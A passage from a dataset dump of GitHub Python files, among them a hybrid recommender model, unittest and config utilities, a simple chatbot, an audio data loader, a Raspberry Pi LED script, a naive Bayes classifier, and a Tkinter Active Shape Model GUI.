Split data\n            trainset, testset = train_test_split(data, test_size=0.2, random_state=seed)\n\n            knn = KNNWithZScore(k = 2, sim_options={'name': 'pearson', 'user_based':True}, random_state=seed, verbose=False)\n            knn.fit(trainset)\n            \n            return knn\n        else: \n            return None\n    except:\n        return None\n\ndef get_weights(city_successful, friends_successful):\n    # Order: SVD, KNN, KNN_City, KNN_Friends\n    # 4 Cases according to the booleans\n    \n    if city_successful and friends_successful:\n        return [0.25, 0.5, 0.2, 0.05]\n    elif city_successful and not friends_successful:\n        return [0.3, 0.5, 0.2, 0.0]\n    elif not city_successful and friends_successful:\n        return [0.3, 0.6, 0.0, 0.1]\n    else:\n        return [0.4, 0.6, 0.0, 0.0]\n\n# Make hybrid predictions\ndef hybrid_predict(svd, knn, df, df_user_friends, df_business, df_review_f, user_id, business_id, should_print = False):\n    knn_city = get_knn_city(df_business, df_review_f, user_id, business_id, should_print) \n    knn_friends = get_knn_friends(df, df_user_friends, user_id, business_id, should_print)\n    city_successful = knn_city is not None\n    friends_successful = knn_friends is not None\n    \n    svd_prediction = svd.predict(user_id, business_id).est\n    knn_prediction = knn.predict(user_id, business_id).est\n    knn_city_prediction = 0\n    knn_friends_prediction = 0\n\n    if city_successful:\n        knn_city_prediction = knn_city.predict(user_id, business_id).est\n\n    if friends_successful:\n        knn_friends_prediction = knn_friends.predict(user_id, business_id).est\n\n    if should_print:\n        print(\"SVD:\", svd_prediction)\n        print(\"KNN:\", knn_prediction)\n        print(\"KNN City:\", \"There is not enough information to create a recommendation model.\" if not city_successful else knn_city_prediction)\n        print(\"KNN Friends:\", \"There is not enough information to create a recommendation model.\" if not friends_successful else knn_friends_prediction)\n        print(\"-------------------\")\n    \n    models_predictions = [svd_prediction, knn_prediction, knn_city_prediction, knn_friends_prediction]\n    weights = get_weights(city_successful, friends_successful)\n    \n    hybrid_prediction = np.dot(weights, models_predictions)\n    \n    return hybrid_prediction\n\nasync def get_top_n(svd, knn, df, df_user_friends, df_business, df_review_f, user_id, n):\n    print(\"User:\", user_id)\n    \n    # Get all businesses the user has not reviewed\n    all_businesses = set(df['business_id'].unique())\n    reviewed_businesses = set(df[df['user_id'] == user_id]['business_id'].unique())\n    unreviewed_businesses = all_businesses - reviewed_businesses\n    print(\"Total business:\", len(unreviewed_businesses))\n    \n    unreviewed_businesses = list(unreviewed_businesses)\n    num_business = len(unreviewed_businesses)\n    num_sample = int(num_business * 0.01)\n    unreviewed_businesses = random.sample(unreviewed_businesses, num_sample)\n    \n    # Make predictions for unreviewed businesses and sort by prediction\n    predictions = []\n    for business_id in unreviewed_businesses:\n        prediction = hybrid_predict(svd, knn, df, df_user_friends, df_business, df_review_f, user_id, business_id, False)\n        predictions.append((business_id, prediction))\n        #print((business_id, prediction))\n    predictions.sort(key=lambda x: x[1], reverse=True)\n\n    # Get top n recommended businesses and their predictions\n    top_n = predictions[:n]\n    top_n_businesses = [x[0] for x in top_n]\n    top_n_predictions = [x[1] for x in top_n]\n    top_n_percentage = [str(round(x/5*100, 2))+\"%\" for x in top_n_predictions]\n\n    # Create DataFrame with business ids and predictions\n    df_top_n = pd.DataFrame({'business_id': top_n_businesses, 'prediction': top_n_predictions, 'percentage': top_n_percentage})\n    df_top_n =  pd.merge(df_top_n, df_business, on='business_id')\n    return df_top_n\n","repo_name":"SergioZona/Taller2_SR_202310","sub_path":"app/backend/src/recommendation_systems/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40951753980","text":"#!/usr/bin/env python\n# *-* coding: utf-8 *-*\n\nimport unittest\nfrom  test_mathfunc import TestMathFunc\n\nif __name__ == \"__main__\":\n\tsuite=unittest.TestSuite()\n\n\ttests=[TestMathFunc(\"test_multi\"), TestMathFunc(\"test_minus\"), TestMathFunc(\"test_add\")]\n\tsuite.addTests(tests)\n\n\t#suite1 = test_mathfunc.TheTestSuite()\n\t#suite1 = test_strfunc.TheTestSuite()\n\t\n\t#suite1.AddTest(test_mathfunc.TestMathFunc('test_add'))\n\t#suite2.AddTest(test_strfunc.TestStrFunc('test_lower'))\n\t#suite=unittest.TestSuite(suite1, suite2)\n\n\trunner = unittest.TextTestRunner(verbosity=2)\n\n\trunner.run(suite)\n","repo_name":"VeinFu/python_notes","sub_path":"unittest/test_suite.py","file_name":"test_suite.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"32042172537","text":"__all__ = [\n    'load_script_args_from_config_file',\n    'parse_script_args',\n    'set_logging'\n]\n\nimport argparse\nimport io\nimport json\nimport logging\nimport os\n\nfrom oasis_utils import OasisException\n\n\ndef load_script_args_from_config_file(script_args_metadict, config_file_path):\n    \"\"\"\n    Returns a script arguments dict from a JSON config file.\n    \"\"\"\n    di = script_args_metadict\n\n    cfp = config_file_path if os.path.isabs(config_file_path) else os.path.abspath(config_file_path)\n    cfd = os.path.dirname(cfp)\n\n    if cfp.endswith('json'):\n        try:\n            with io.open(cfp, 'r', encoding='utf-8') as f:\n                args = json.load(f)\n        except (IOError, TypeError, ValueError) as e:\n            raise OasisException('Error parsing script resources config file {}: {}'.format(cfp, str(e)))\n\n        try:\n            map(\n                lambda arg: args.update({arg: os.path.join(cfd, args[arg])}) if arg.endswith('path') and args[arg] else None,\n                args\n            )\n\n            invalid_paths = dict(\n                (path_key, args[path_key]) for path_key in\n                filter(lambda arg: arg in di and arg.endswith('path') and di[arg]['preexists'] and args[arg] and not os.path.exists(args[arg]), args)\n            )\n            if invalid_paths:\n                raise OasisException('Error parsing script resources config file: paths {} are invalid'.format(invalid_paths))\n        except OSError as e:\n            raise OasisException('Error parsing script resources config file: {}'.format(str(e)))\n    elif cfp.endswith('yaml') or cfp.endswith('yml'):\n        raise OasisException('Error parsing script resources config file: YAML file not supported')\n\n    return args\n\n\ndef parse_script_args(script_args_metadict, desc=None):\n    \"\"\"\n    Parses script arguments using a script arguments meta dict, constructs and\n    returns an args dictionary.\n    \"\"\"\n    parser = argparse.ArgumentParser(description=desc)\n\n    di = script_args_metadict\n\n    try:\n        non_bools = filter(lambda arg: di[arg]['type'] != bool, di)\n        map(\n            lambda arg: parser.add_argument(\n                '--{}'.format(di[arg]['name']),\n                '-{}'.format(di[arg]['flag']),\n                type=di[arg]['type'],\n                required=di[arg]['required_on_command_line'],\n                help=di[arg]['help_text']\n            ),\n            non_bools\n        )\n\n        bools = filter(lambda arg: arg not in non_bools, di)\n        map(\n            lambda arg: (\n                parser.add_argument(\n                    '--{}'.format(di[arg]['name']),\n                    dest=di[arg]['dest'],\n                    action='store_true',\n                    default=(True if di[arg]['default'] else False),\n                    help=di[arg]['help_text']\n                ),\n                parser.add_argument(\n                    '--no-{}'.format(di[arg]['name']),\n                    dest=di[arg]['dest'],\n                    action='store_false',\n                    help=di[arg]['help_text']\n                ),\n            ),\n            bools\n        )\n\n        args = vars(parser.parse_args())\n\n        map(\n            lambda arg: args.update({arg: os.path.abspath(args[arg])}) if arg.endswith('path') and args[arg] else None,\n            args\n        )\n\n        invalid_paths = dict(\n            (path_key, args[path_key]) for path_key in\n            filter(lambda arg: arg in di and arg.endswith('path') and di[arg]['preexists'] and args[arg] and not os.path.exists(args[arg]), args)\n        )\n        if invalid_paths:\n            raise OasisException('Error parsing script args: paths {} are invalid'.format(invalid_paths))\n    except (KeyError, argparse.ArgumentError, argparse.ArgumentTypeError, OSError) as e:\n        raise OasisException(e)\n\n    return args\n\n\ndef set_logging(\n    level=logging.INFO,\n    fmt='%(asctime)s - %(levelname)s - %(message)s',\n    filename=None,\n    filemode='w',\n    stream=None\n):\n    \"\"\"\n    Sets up and returns a logger.\n    \"\"\"\n    try:\n        logging.basicConfig(\n            level=level,\n            format=fmt,\n            filename=filename,\n            filemode='w',\n            stream=stream\n        )\n    except (OSError, IOError) as e:\n        raise OasisException(e)\n\n    return logging.getLogger()\n","repo_name":"jariou/omdk","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17134701013","text":"import numpy as np\nimport sklearn.datasets\nfrom sklearn.feature_selection import mutual_info_classif\nfrom sklearn.feature_selection import mutual_info_regression\n\nfrom context import vfs\nfrom vfs import mi_frame\n\n\n\"\"\"\nThis script compares our MI implementation against a established one from\nthe sklearn library, by computing the traditional singledim I(X,Y) for X,Y\nextracted from an arbitrary dataset.\n\nNotice that sklearn functions are not deterministic, hence their results are\naveraged for a number of runs.\n\"\"\"\n\n\nif __name__ == '__main__':\n\n    # Load dataframe and fetch column names for arbitary feature and target\n    df = sklearn.datasets.load_iris(as_frame=True).frame\n    feature = df.columns[0]\n    target = df.columns[-1]\n\n    # Computing MI using scikit methods\n    ff = df[feature].values.reshape(-1,1)\n    yy = df[target].values\n    mi_clasif = np.array([mutual_info_classif(ff, yy, n_neighbors=5) for __ in range(20)])\n    mi_regres = np.array([mutual_info_regression(ff, yy, n_neighbors=5) for __ in range(20)])\n\n    # Computing MI using our implementation\n    mi_ours = mi_frame(df)([feature], [target])\n\n    # Display, using standard deviation in %\n    std  = lambda arr : round((arr.std() / (arr.std()+arr.mean())) * 100)\n    print(f\"\"\"@@ Comparing our MI approach to a baseline (singledimensional):\n    \\rScikit classif:    {mi_clasif.mean().round(3)}  (stddev={std(mi_clasif)}%)\n    \\rScikit regression: {mi_regres.mean().round(3)}  (stddev={std(mi_regres)}%)\n    \\rOur MI:            {mi_ours}\\\n    \"\"\"\n    )\n","repo_name":"pabsan-0/vfs2","sub_path":"scripts/mi_baseline.py","file_name":"mi_baseline.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15349834905","text":"## @package HTTP--Chat.base Base module.\n## @file base.py Implementation of @ref HTTP--Chat.base\n#\n\nimport logging\nimport sys\n\n\n## Base of all objects.\n#\nclass Base(object):\n\n    ## Log prefix to use.\n    LOG_PREFIX = 'my'\n\n    ## Logger.\n    @property\n    def logger(self):\n        \"\"\"Logger.\"\"\"\n        return self._logger\n\n    ## Constructor.\n    def __init__(self):\n        \"\"\"Contructor.\"\"\"\n        self._logger = logging.getLogger(\n            '%s.%s' % (\n                self.LOG_PREFIX,\n                self.__module__,\n            ),\n        )\n\n    ## Equality operator.\n    # @arg other (object) other object.\n    # @returns (bool) True if equal.\n    #\n    def __eq__(self, other):\n\n        if type(self) is not type(other):\n            return NotImplemented\n\n        sup = super(Base, self)\n        # python-3\n        if hasattr(sup, '__eq__'):\n            return sup.__eq__(other)\n        else:\n            return True\n\n\n## Setup logging system.\n# @returns (logger) program logger.\n#\ndef setup_logging(stream=None, level=logging.INFO):\n    logger = logging.getLogger(Base.LOG_PREFIX)\n    logger.propagate = False\n    logger.setLevel(level)\n\n    try:\n        if stream is not None:\n            h = logging.StreamHandler(stream)\n        else:\n            h = logging.StreamHandler(sys.stdout)\n        h.setLevel(logging.DEBUG)\n        h.setFormatter(\n            logging.Formatter(\n                fmt=(\n                    '%(asctime)-15s '\n                    '[%(levelname)-7s] '\n                    '%(name)s::%(funcName)s:%(lineno)d '\n                    '%(message)s'\n                ),\n            ),\n        )\n        logger.addHandler(h)\n    except IOError:\n        logging.warning('Cannot initialize logging', exc_info=True)\n\n    return logger\n","repo_name":"maxim-mat/HTTP-Chat","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13997090329","text":"import random\nimport re\nimport os\nfrom pyjokes import pyjokes\npattern1 = re.compile(r\"\\bname\\b\")\npattern2 = re.compile(r\"\\bjoke\\b\")\nmy_list = []\nwith open(\"mybot.txt\", mode=\"r\") as my_file:\n    my_bot = my_file.readlines()\n    for sentence in my_bot:\n        my_list.append(sentence.strip())\n\nclear = lambda: os.system('cls')\nclear()\nuser_name = input(\"Enter your Name: \").capitalize()\n\nmessage = \"None\"\nprint(f\"Pybot: Hi {user_name}! How may I assist you?\")\nwhile message.upper() != \"BYE\":\n    message = input(f\"{user_name}: \")\n    if pattern1.search(message):\n        print(\"Pybot: Hello, My Name is Pybot!\")\n    elif pattern2.search(message):\n        print(f\"Pybot: {pyjokes.get_joke('en')}\")\n    elif message.upper() == \"BYE\":\n        print(f\"Here's my last Joke{pyjokes.get_joke('en')}\")\n    else:\n        print(f\"Pybot: {my_list[random.randrange(my_list.__len__())]}\")\n\n","repo_name":"JohnEdrick/PythonChatBot","sub_path":"PythonBot.py","file_name":"PythonBot.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"38124690253","text":"from libraries.Corte_audio import Corte_audio\n\nimport os\nimport numpy as np\n\n\nclass Kaggle_audios(Corte_audio):\n    BASE_FOLDER = \"/kaggle/input/musicnet-dataset/musicnet/musicnet/\"\n    path_wav = \"_data/\"\n    path_csv = \"_labels/\"\n\n    BASE_INSTRUMENTS = [1, 7, 41, 42, 43, 44, 61, 69, 71, 72, 74]\n\n    def __init__(self, config_time: int = 5, train: bool = True):\n        super().__init__(config_time=config_time)\n        group_to_use = \"test\"\n        if train:\n            group_to_use = \"train\"\n\n        base_path = os.getcwd().split(\"musicnet\")[0] + \"musicnet\"\n        base_path = \"\"  # usar para cuando se trabaja desde jupyter\n        self.path_wav = base_path + self.BASE_FOLDER + group_to_use + self.path_wav\n        self.path_csv = base_path + self.BASE_FOLDER + group_to_use + self.path_csv\n\n        print(self.path_wav)\n        print(self.path_csv )\n        self.file_wav = os.listdir(self.path_wav)\n\n    def leer_path_data_label(self, id: int = 0):\n        audio_usar = self.path_wav + self.file_wav[id]\n        resource_read = audio_usar.split(\".\")[0].split(\"/\")[-1]\n        label_usar = self.path_csv + resource_read + \".csv\"\n        return audio_usar, label_usar, resource_read\n\n    def leer_data_label(self, id: int = 0):\n        audio_usar, label_usar, resource_read = self.leer_path_data_label(id)\n\n        muestras_wav, instrumentos, rate = self.split_data(audio_usar, label_usar)\n        return (muestras_wav, instrumentos, rate, resource_read)\n\n    def __correcion_instrumentos(self, instrumentos):\n        for id, usado_list in enumerate(instrumentos):\n            instrumentos_usados = [0 for _ in self.BASE_INSTRUMENTS]\n            for usado in usado_list:\n                i = self.BASE_INSTRUMENTS.index(usado)\n                instrumentos_usados[i] = 1\n            instrumentos[id] = instrumentos_usados\n        return instrumentos\n\n    def __correccion_data(self, muestras_wav):\n        c = [0 for _ in range(len(muestras_wav[-2]) - len(muestras_wav[-1]))]\n        muestras_wav[-1] = np.array(muestras_wav[-1].tolist() + c)\n        return muestras_wav\n\n    def read_data(self, limit=None, show_info:bool = True):\n        all_data = list()\n        all_label = list()\n        rate = None\n\n        partial = len(self.file_wav)\n        if limit is not None:\n            if limit <= 0:\n                limit = 1\n            if limit > partial:\n                limit = partial\n            partial = len(self.file_wav[:limit])\n\n        if show_info:\n            print(\"\\t\\t\", \"*\" * 20, end=\"\")\n        for i in range(partial):\n            if show_info:\n                print(\"\\t\\t\", \"*\"  * 10)\n            muestras_wav, instrumentos, rate, resource_read = self.leer_data_label(i)\n            if show_info:\n                print(\"\\t\\tReading: id:\", f\"{i}/{partial}\", \" - file:\", resource_read, \" - len before:\", len(all_data))\n            # print(resource_read + \".wav\", len(muestras_wav), type(muestras_wav))\n            # print(resource_read + \".csv\", len(instrumentos), type(instrumentos))\n\n            all_data += self.__correccion_data(muestras_wav)\n            all_label += self.__correcion_instrumentos(instrumentos)\n\n            try:\n                if i % 100 == 0:\n                    print(\"\\n\\t\", end=\"\")\n                print(\".\", end=\" \")\n            except:\n                print()\n\n        all_label = np.array(all_label)\n        all_data = np.array(all_data)\n\n        if show_info:\n            print(\"*\"*30)\n\n        return all_data, all_label, rate\n","repo_name":"wisrovi/TFM2022","sub_path":"libraries/Kaggle_audios.py","file_name":"Kaggle_audios.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"842046301","text":"import RPi.GPIO as GPIO\nimport warnings\n\n#warnings.simplefilter('ignore')\n#GPIO.setmode(GPIO.BCM)\n#GPIO.cleanup()\n#warnings.resetwarnings()\n\n#変数宣言\nCENTER_LED = 13      #GPIOナンバー\nRED_LED = 26         #GPIOナンバー\nGREEN_LED = 19       #GPIOナンバー\nBLUE_LED = 6         #GPIOナンバー\n\ntry:\n    GPIO.setmode(GPIO.BCM)\n    #GPIO.cleanup()\n    GPIO.setup(CENTER_LED ,GPIO.OUT)\n    GPIO.setup(RED_LED ,GPIO.OUT)\n    GPIO.setup(GREEN_LED ,GPIO.OUT)\n    GPIO.setup(BLUE_LED ,GPIO.OUT)\n\n    #GPIO.cleanup()\n\n    GPIO.output(CENTER_LED ,GPIO.HIGH)\n    GPIO.output(RED_LED ,GPIO.LOW)\n    GPIO.output(GREEN_LED ,GPIO.LOW)\n    GPIO.output(BLUE_LED ,GPIO.LOW)\n\nfinally:\n    print('except')\n    GPIO.cleanup()\n","repo_name":"ksaplabo-org/ksapDoorOpener","sub_path":"py/deleteligth.py","file_name":"deleteligth.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74938187308","text":"import numpy as np\n\n\ndef load_dataset(file_name, delimiter=','):\n    \"\"\"\n    加载CSV或TSV数据集\n    输入参数\n        file_name：CSV文件名，delimiter：分隔符\n    输出参数\n        data：数据集\n    \"\"\"\n    fr = open(file_name).readlines()\n    data = np.mat([list(line.strip(\"\\n\").split(delimiter)) for line in fr])\n    return data\n\n\ndef get_discrete_dataset(data_set, feat_idx, value):\n    \"\"\"\n    统计给定离散特征取值的数据集\n    输入参数\n        data_set：数据集，feat_idx：给定的特征序号, value：值\n    输出参数\n        sub_data：数据集子集\n    \"\"\"\n    sub_data = data_set[np.nonzero(data_set[:, feat_idx] == value)[0], :]\n    return sub_data\n\n\ndef train(data_set, feature_list, use_smoothing=False):\n    \"\"\"\n    训练朴素贝叶斯模型\n    输入参数\n        data_set：数据集，feature_list：特征名称列表, use_smoothing：使用拉普拉斯平滑\n    输出参数\n        prob：各个特征的条件概率模型，feat_value：各个特征的取值\n    \"\"\"\n    n, d = data_set.shape\n    feat_value = {}  # 每个特征的取值\n    prob = []  # 条件概率模型\n    for idx in range(d):\n        # 不重复的特征取值\n        feat_value[feature_list[idx]] = sorted(set(data_set[:, idx].T.tolist()[0]))\n\n    num_class = len(feat_value.get(feature_list[-1]))\n    c_class = np.zeros(num_class)\n    for c in range(num_class):\n        c_class[c] = len(get_discrete_dataset(data_set, -1, feat_value.get(feature_list[-1])[c]))\n    if use_smoothing:\n        c_class += 1\n    p_class = c_class / (n if not use_smoothing else (n + num_class))\n\n    # 计算条件概率\n    # 先计算各个属性的条件概率\n    for idx in range(d - 1):\n        num_feat_value = len(feat_value.get(feature_list[idx]))\n        p = np.zeros((num_class, num_feat_value))\n        for c in range(num_class):\n            sub_data = get_discrete_dataset(data_set, -1, feat_value.get(feature_list[-1])[c])\n            for v in range(len(feat_value.get(feature_list[idx]))):\n                p[c][v] = float((1 if use_smoothing else 0) +\n                                len(get_discrete_dataset(sub_data, idx, feat_value.get(\n                                    feature_list[idx])[v]))) / (\n                                      len(sub_data) + (num_feat_value if use_smoothing else 0))\n        prob.append(p)\n    # 最后加上类别的概率\n    prob.append(p_class)\n    return prob, feat_value\n\n\ndef classify(prob, feat_value, feature_list, test_set):\n    \"\"\"\n    对测试数据集进行分类\n    输入参数\n        prob：各个特征的条件概率模型，feat_value：各个��征的取值，feature_list：特征名称列表, test_set：测试集\n    输出参数\n        y_hat：预测输出\n    \"\"\"\n    num_class = len(prob[-1])\n    class_value = feat_value.get(feature_list[-1])\n    n, d = test_set.shape\n    y_hat = []\n    for i in range(n):\n        likelihood = prob[-1].copy()\n        for j in range(d):\n            this_feat_value = feat_value.get(feature_list[j])\n            feat_idx = this_feat_value.index(test_set[i, j])\n            for c in range(num_class):\n                likelihood[c] *= prob[j][c][feat_idx]\n        y_hat.append(class_value[np.argmax(likelihood)])\n\n    return y_hat\n\n\ndef main():\n    # 加载数据\n    data = load_dataset(\"../data/weather_nominal.csv\")\n    feature_list = ['outlook', 'temperature', 'humidity', 'windy', 'play']\n    # 测试数据\n    # 书上的例子\n    test = np.mat([['sunny', 'cool', 'high', 'TRUE', 'no']])\n    test_x = test[:, 0: -1]\n    test_y = test[:, -1]\n    # 训练模型\n    model, feat_value = train(data, feature_list)\n\n    y_hat = classify(model, feat_value, feature_list, test_x)\n    print(y_hat)\n    print(y_hat == test_y)\n\n    # 使用训练集测试\n    test_x = data[:, 0: -1]\n    test_y = data[:, -1].squeeze()\n    y_hat = classify(model, feat_value, feature_list, test_x)\n    print('天气问题结果：')\n    print('训练集上的分类正确率： {:.2%}'.format(np.mean(y_hat == test_y)))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"imcyx/UESTC-CYXBackup","sub_path":"模式识别/参考课件/086437-01/ML-Python/ch4bayes/naive_bayes_demo.py","file_name":"naive_bayes_demo.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9798094542","text":"from tkinter import *\nfrom tkinter import ttk\nimport os\nfrom PIL import ImageTk, Image\nimport execute\nimport functions\nimport cv2\nimport operations\nimport objeto\nimport sys\n\nclass PdiApp:\n    def __init__(self, Pdi):\n        self.atual = 0\n        self.path = \"images/\"\n        self.path_lines = \"lines_images/\"\n        self.path_texture = \"images_texture/\"\n        self.path_proc = \"proc_image/\"\n        self.path_proc_g = \"proc_g_image/\"\n        self.path_resultado_asm = \"resultado_asm/\"\n        self.first_amostra = False\n        self.images_lines = []\n        self.formas = []\n        self.texts = []\n        self.proc_texts = []\n        self.proc_g_texts = []\n        self.forma_align = []\n        self.forma_align_generalizada = []\n        self.amostra_center = []\n        self.euclidian_flag = False\n        self.proc_flag = False\n        self.proc_g_flag = False\n        self.pontos_flag = False\n        self.amostras_flag = False\n        self.marcador = \"\"\n        self.e1 = \"\"\n        self.target_proc = 0\n        self.proc_distancia = 0\n        self.magnitude = 0\n        self.norm_mean = []\n        self.norm_estimate = []\n        self.text_autovalores = []\n        self.text_autovetores = []\n        self.forma_corrigida = []\n        self.form_autovetores = []\n        self.form_autovalores = []\n        self.formas_alinhadas = []\n        self.resultado_final = []\n        self.k = 0\n\n        menubar = Menu(Pdi)\n        Pdi.config(menu=menubar)\n        Pdi.title(\"PDI - Interface Gráfica - ASM\")\n        Pdi.geometry('1280x720')\n\n        menu = Menu(menubar)\n        menu2 = Menu(menubar)\n        menu3 = Menu(menubar)\n\n        menubar.add_cascade(label='Arquivo', menu=menu)\n        menubar.add_cascade(label='Operações', menu=menu2)\n        menubar.add_cascade(label='Busca', menu=menu3)\n\n        #Funções\n        def Sair():\n            Pdi.destroy()\n            sys.exit()\n            \n        def line_images():\n            i=0\n            for forma in self.formas:\n                self.images_lines.append(\"image\" + str(i) + \".jpg\")\n                i += 1\n        \n        def next_forma():\n            if self.atual < (len(self.formas)-1):\n                self.atual += 1\n                self.canvas.delete(self.canvas_image)\n                if self.euclidian_flag:\n                    show_img(0)\n                    show_euclidian()\n                elif self.pontos_flag:\n                    show_img(0)\n                    show_pontos()\n                elif self.amostras_flag:\n                    show_img_amostras()\n                    show_amostras()\n                else:\n                    show_img(1)\n\n        def back_forma():\n            if self.atual > 0:\n                self.atual -= 1\n                self.canvas.delete(self.canvas_image)\n                if self.euclidian_flag:\n                    show_img(0)\n                    show_euclidian()\n                elif self.pontos_flag:\n                    show_img(0)\n                    show_pontos()\n                elif self.amostras_flag:\n                    show_img_amostras()\n                    show_amostras()\n                else:\n                    show_img(1)\n\n\n        def buttons():\n            self.next_button = Button(Pdi, text = \"Próxima\", command = next_forma, anchor = W, justify=CENTER, \n            font=\"Arial 10 bold\")\n            self.back_button = Button(Pdi, text = \"Anterior\", command = back_forma, anchor = W, justify=CENTER, \n            font=\"Arial 10 bold\")\n            self.next_button.configure(height=2,width = 10, activebackground = \"grey\", relief = RAISED)\n            self.back_button.configure(height=2,width = 10, activebackground = \"grey\", relief = RAISED)\n            self.back_window = self.canvas.create_window(650, 600, anchor=NW, window=self.back_button)\n            self.next_window = self.canvas.create_window(850, 600, anchor=NW, window=self.next_button)\n        \n        def show_img(i):\n            self.canvas.delete(self.marcador)\n            img = ImageTk.PhotoImage(Image.open(self.path_lines + self.images_lines[self.atual]))\n            self.label = Label(image=img)\n            self.label.image = img\n            self.canvas_image = self.canvas.create_image(80, 0, anchor=NW, image=self.label.image)\n            self.marcador = self.canvas.create_text(300, 655,fill=\"black\",font=\"Arial 15 bold\",\n                        text=str(self.atual+1)+ \"/\" + str(len(self.formas)), anchor=W)\n            if i == 1:\n                buttons()\n\n        def show_img_amostras():\n            self.canvas.delete(self.marcador)\n            img = ImageTk.PhotoImage(Image.open(self.path_texture + self.images_lines[self.atual]))\n            self.label = Label(image=img)\n            self.label.image = img\n            self.canvas_image = self.canvas.create_image(80, 0, anchor=NW, image=self.label.image)\n            self.marcador = self.canvas.create_text(300, 655,fill=\"black\",font=\"Arial 15 bold\",\n                        text=str(self.atual+1)+ \"/\" + str(len(self.formas)), anchor=W)\n            \n            \n\n        def Plot():\n            self.formas = execute.Plotar(self.path)\n            line_images()\n            self.canvas = Canvas(Pdi, width = 1366, height = 800, background=\"white\")  \n            #canvas.grid(row = 0, column = 2)\n            self.canvas.pack()\n            show_img(1)\n            \n\n        def show_euclidian():\n            self.pontos_flag = False\n            self.amostras_flag = False\n            for text in self.texts:\n                self.canvas.delete(text)\n            self.label.text = \"Distância Euclidiana entre os pontos:\"\n            i=0\n            k = 60\n            self.texts.append(self.canvas.create_text(650, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=self.label.text, anchor=W))\n            for distancia in self.formas[self.atual].euclidiana:\n                k += 30\n                self.texts.append(self.canvas.create_text(650, k,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Distância ponto \" + str(i) + \" e \" + str(i+1) + \": \" + str(distancia), anchor=W))\n                i+=1\n            self.euclidian_flag = True\n        \n        def show_pontos():\n            self.euclidian_flag = False\n            self.amostras_flag = False\n            for text in self.texts:\n                self.canvas.delete(text)\n            self.label.text = \"Coordenadas dos pontos da face(x,y):\"\n            i=0\n            k = 60\n            self.texts.append(self.canvas.create_text(650, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=self.label.text, anchor=W))\n            for ponto in self.formas[self.atual].pontos:\n                k += 30\n                self.texts.append(self.canvas.create_text(650, k,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Ponto \" + str(i) +  \": \" + str(ponto), anchor=W))\n                i+=1\n            self.pontos_flag = True\n\n        def show_amostras():\n            self.pontos_flag = False\n            self.euclidian_flag = False\n            for text in self.texts:\n                self.canvas.delete(text)\n            self.label.text = \"Amostras de textura dos pontos(x,y):\"\n            i=0\n            k = 60\n            self.texts.append(self.canvas.create_text(600, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=self.label.text, anchor=W))\n            for amostra in self.formas[self.atual].amostra:\n                k += 30\n                self.texts.append(self.canvas.create_text(600, k,fill=\"black\",font=\"Arial 10 bold\",\n                        text=\"Ponto \" + str(i) +  \": \" + str(amostra), anchor=W))\n                i+=1\n            self.amostras_flag = True\n            \n\n        def do_proc():\n            if self.e1.get() != \"\":\n                self.target_proc = int(self.e1.get())\n                #x2 = self.e2.get()\n                if((self.target_proc > 0) and (self.target_proc <= len(self.formas)) and (self.target_proc != (self.atual+1))):\n                    self.nw.destroy()\n                    formas_aux = self.formas\n                    [distancia, forma_align] = execute.plot_procrustes(formas_aux, self.path_lines, self.atual, self.target_proc-1)\n                    openNewImage_proc(distancia, forma_align)\n\n                else:\n                    Label(self.nw,  text =\"Valor Inválido! Tente novamente\").pack()\n\n        \n        def openNewImage_proc(distancia, alinhado): \n            self.nw = Toplevel(Pdi) \n            self.nw.title(\"PDI - Distância Procrustes\")  \n            self.nw.geometry(\"1200x700\") \n            #text=IntVar()\n            self.canvas_proc = Canvas(self.nw, width = 1366, height = 800, background=\"white\")  \n            self.canvas_proc.pack()\n            img = ImageTk.PhotoImage(Image.open(self.path_proc + \"image_procrustes.jpg\"))\n            label = Label(image=img)\n            label.image = img\n            self.canvas_image_proc = self.canvas_proc.create_image(80, 0, anchor=NW, image=label.image)\n            self.proc_text = self.canvas_proc.create_text(650, 40,fill=\"black\",font=\"Arial 15 bold\",\n                        text=\"Procrustes sobre a imagem \" + str(self.atual+1) + \" em relação a imagem \" + str(self.target_proc) + \":\", anchor=W)\n            self.proc_text2 = self.canvas_proc.create_text(650, 70,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Distância: \" + str(distancia), anchor=W)\n            self.proc_text3 = self.canvas_proc.create_text(650, 100,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Forma alinhada: \", anchor=W)\n            i=0\n            k=90\n            for ponto in alinhado:\n                k += 30\n                self.proc_texts.append(self.canvas_proc.create_text(650, k,fill=\"black\",font=\"Arial 12 bold\",\n                        text=\"Ponto \" + str(i) +  \": \" + str(ponto), anchor=W))\n                i+=1\n            self.proc_flag = True\n\n        def openNewImage_proc_generalizada(alinhado): \n            self.nw_g = Toplevel(Pdi) \n            self.nw_g.title(\"PDI - Distância Procrustes Generalizada\")  \n            self.nw_g.geometry(\"1200x700\") \n            